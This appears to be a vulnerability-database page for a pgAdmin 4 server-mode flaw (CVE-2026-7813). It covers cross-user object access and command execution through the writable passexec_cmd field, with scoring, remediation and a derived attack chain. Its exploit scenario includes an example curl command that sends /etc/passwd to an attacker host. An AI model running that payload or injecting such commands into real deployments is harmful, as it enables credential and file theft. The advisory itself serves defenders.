Skip to main content

pgAdmin 4 CVE-2026-7813

| EUVDEUVD-2026-29081 CRITICAL
Improper Access Control (CWE-284)
2026-05-11 PostgreSQL GHSA-h2x2-q2mc-24gw
9.4
CVSS 4.0 · Vendor: PostgreSQL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to pgAdmin 4 server
  2. Delivery
    Enumerate server object IDs via API
  3. Exploit
    Retrieve victim's server config with credentials
  4. Install
    Inject malicious passexec_cmd via Shared Server API
  5. C2
    Victim connects to PostgreSQL
  6. Execute
    Execute arbitrary commands as server owner
  7. Impact
    Exfiltrate data or establish persistence

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Access control enforcement
MITRE ATT&CK

1 technique across 1 tactic: Defense Evasion

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access to a pgAdmin 4 instance running in server mode (multi-user deployment). Desktop mode installations are not vulnerable as each user operates an isolated instance. Attack succeeds against default server-mode configurations with no special feature enablement required beyond having at least two user accounts. Exploitation of the passexec_cmd privilege escalation specifically requires that the victim user has configured a server connection and later initiates a connection attempt, triggering command execution. The Shared Servers feature must be accessible to exploit credential leakage and owner-data corruption issues, though basic IDOR attacks against Server Groups and Background Processes modules work regardless of Shared Servers configuration. No network positioning beyond reaching the pgAdmin web interface is required (AV:N). Attack complexity is low (AC:L) as sequential ID guessing and standard HTTP API calls are sufficient.

Impact

Critical real-world risk despite requiring authentication (PR:L). The CVSS 9.9 score accurately reflects scope change (S:C) as attackers execute commands in the victim's process context, not their own. Attack complexity is low (AC:L) because exploitation requires only guessing sequential integer object IDs and calling standard API endpoints - no vulnerability-specific knowledge needed. The credential leakage component enables lateral movement beyond pgAdmin itself: stolen SSL keys and passfiles grant direct PostgreSQL database access. The passexec_cmd privilege escalation is particularly severe in containerized or multi-tenant environments where pgAdmin runs as a shared service account with elevated permissions. However, exploitation is contained to authenticated users within the same pgAdmin instance, limiting blast radius compared to unauthenticated remote code execution. The absence of POC code and KEV listing suggests exploitation has not yet become widespread, but the vulnerability is straightforward to exploit once an attacker has valid credentials. Organizations running pgAdmin 4 in server mode (versus desktop mode) face immediate risk. SSVC assessment: exploitation status unknown, automatable (API-driven), technical impact total (RCE + data theft). Patch availability in version 9.15 provides clear remediation path, making this a high-priority upgrade for server-mode deployments.

Exploit ScenarioDerived

An authenticated low-privilege pgAdmin user enumerates server object IDs by incrementing integers in API requests to endpoints like /servers/{id}. Upon discovering another user's private PostgreSQL server connection, the attacker retrieves the full configuration including passfile paths and SSL certificate locations. The attacker then crafts a PATCH request to the Shared Servers API endpoint, injecting a malicious passexec_cmd value such as 'curl http://attacker.com/exfil?data=$(cat /etc/passwd)'. When the legitimate server owner next connects to their PostgreSQL instance, pgAdmin executes the attacker's shell command in the owner's process context, exfiltrating sensitive files or establishing a reverse shell with the owner's privileges.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 11, 2026

Authorization bypass and privilege escalation in pgAdmin 4 server mode allows authenticated users to access other users' private database servers, credentials, and background processes by guessing object IDs. Attackers can execute arbitrary shell commands as the server owner by modifying the passexec_cmd field through unprotected API endpoints. The vulnerability combines horizontal privilege escalation (accessing peer users' objects), vertical escalation (executing commands as owner), and credential theft (SSL keys, passfiles). No public exploit code identified at time of analysis, but exploitation requires only low-privilege authentication with no user interaction (CVSS PR:L/UI:N). EPSS data not provided; CISA KEV status not confirmed.

RemediationAI

Upgrade to pgAdmin 4 version 9.15 or later, which includes comprehensive authorization fixes via pull requests 9830 and 9835. The patch introduces database schema migrations that add user_id columns to debugger_function_arguments tables and create composite primary keys scoping all objects to requesting users. Advisory and patch available at https://github.com/pgadmin-org/pgadmin4/pull/9830 and https://github.com/pgadmin-org/pgadmin4/pull/9835. If immediate upgrade is not feasible, disable server mode and migrate users to desktop mode deployments where each user runs an isolated pgAdmin instance (eliminates multi-user attack surface but sacrifices centralized management). Alternatively, restrict pgAdmin access to highly trusted administrators only via network ACLs or authentication proxy, accepting that any authenticated user can compromise all others until patched. For Shared Servers feature specifically, disable the feature entirely via configuration if upgrade cannot be performed immediately (prevents passexec_cmd exploitation but does not address IDOR issues in other modules). Note that workarounds provide only partial risk reduction; upgrade to 9.15 is the only complete remediation.

Affected VersionsENISA

pgAdmin 4 0 <9.15

Affected Packages

pypi pgadmin4 fix: 9.15
euvd pgadmin_4 fix: 9.15

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

pgAdmin 4 is a web-based administration platform for PostgreSQL databases. In server mode (multi-user deployment), the application stores user-owned resources including server connection definitions, server groups, and debugger state in a shared SQLAlchemy ORM backend. The vulnerability stems from missing authorization filters on object retrieval queries across five modules: Server Groups, Servers, Shared Servers, Background Processes, and Debugger. Multiple endpoints fetched objects by primary key (ID) without scoping to the authenticated user's identity, allowing Insecure Direct Object Reference (IDOR) attacks. The Shared Servers feature stored owner-only fields (passexec_cmd, passfile, SSL certificates) in the same ORM model as non-owner editable fields, without field-level access control. The passexec_cmd field is particularly dangerous as it contains shell commands executed during PostgreSQL connection establishment in the owner's process context. SQLAlchemy session mutations allowed non-owners to corrupt owner data by editing fields that lacked per-user persistence (kerberos_conn, tags, post_connection_sql). The fix introduces a UserScopedMixin that adds user_id foreign keys and composite primary keys to all user-owned models, a centralized server_access authorization module, and field-level suppression of owner-only attributes in API responses and merge operations.

Know when Pgadmin 4 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (PostgreSQL) PRIMARY 9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SUSE 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (PostgreSQL).

CVSS VectorVendor: PostgreSQL

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

2
CVSS changed
May 11, 2026 - 16:22 NVD
9.9 (CRITICAL) 9.4 (CRITICAL)
CVE Published
May 11, 2026 - 14:35 nvd
CRITICAL 9.9

DescriptionCVE.org

Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules.

Multiple endpoints fetched user-owned objects without filtering by the requesting user's identity. An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs.

Additionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record.

Fix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced.

This issue affects pgAdmin 4: before 9.15.

Executive ViewAI

Why It Matters

pgAdmin 4 server mode contains a critical authorization bypass vulnerability (CVSS 9.9) enabling authenticated users to access other users' databases, steal credentials, and execute arbitrary commands as the server owner by exploiting unprotected API endpoints. Organizations running pgAdmin 4 in multi-user server deployments face immediate risk of lateral movement, credential compromise, and system-level code execution without requiring administrative privileges or user interaction.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If patching is delayed, implement network segmentation to restrict pgAdmin 4 access to administrative jump-hosts only; disable or restrict API endpoints handling passexec_cmd and server object modifications; enforce IP whitelisting; conduct enhanced monitoring of API calls to pgAdmin 4 and review user access patterns for anomalies.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2024-2044 CRITICAL POC
9.9 Mar 07

pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling

CVE-2024-3116 CRITICAL POC
9.8 Apr 04

pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) vulnerability through the validate binary path API. Rated cr

CVE-2026-12046 CRITICAL POC
9.5 Jun 18

Remote unauthenticated access to two SQL Editor endpoints in pgAdmin 4 server-mode deployments (versions 6.9 through 9.1

CVE-2022-4223 HIGH POC
8.8 Dec 13

The pgAdmin server includes an HTTP API that is intended to be used to validate the path a user selects to external Post

CVE-2024-9014 MEDIUM POC
6.5 Sep 23

pgAdmin versions 8.11 and earlier are vulnerable to a security flaw in OAuth2 authentication. Rated medium severity (CVS

CVE-2025-12762 CRITICAL
9.8 Nov 13

Remote code execution in pgAdmin 4 (versions up to and including 9.9) lets an attacker who can get a crafted PLAIN-forma

CVE-2026-12045 CRITICAL
9.4 Jun 18

Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content

CVE-2026-17351 CRITICAL
9.4 Jul 31

SQL injection sandbox escape in pgAdmin 4's AI Assistant (versions 9.13 through 9.16) lets an attacker break out of the

CVE-2026-17566 CRITICAL POC
9.4 Jul 31

OS command injection in pgAdmin 4 (all versions before 9.18) lets an authenticated user with the commonly-granted tools_

CVE-2024-4216 MEDIUM POC
5.4 May 02

pgAdmin <= 8.5 is affected by XSS vulnerability in /settings/store API response json payload. Rated medium severity (CVS

CVE-2026-86863 CRITICAL
9.3 Sep 17

Authentication bypass in pgAdmin 4 (versions 6.2 through 9.17) lets any client that can reach the pgAdmin web interface

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Python 3 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy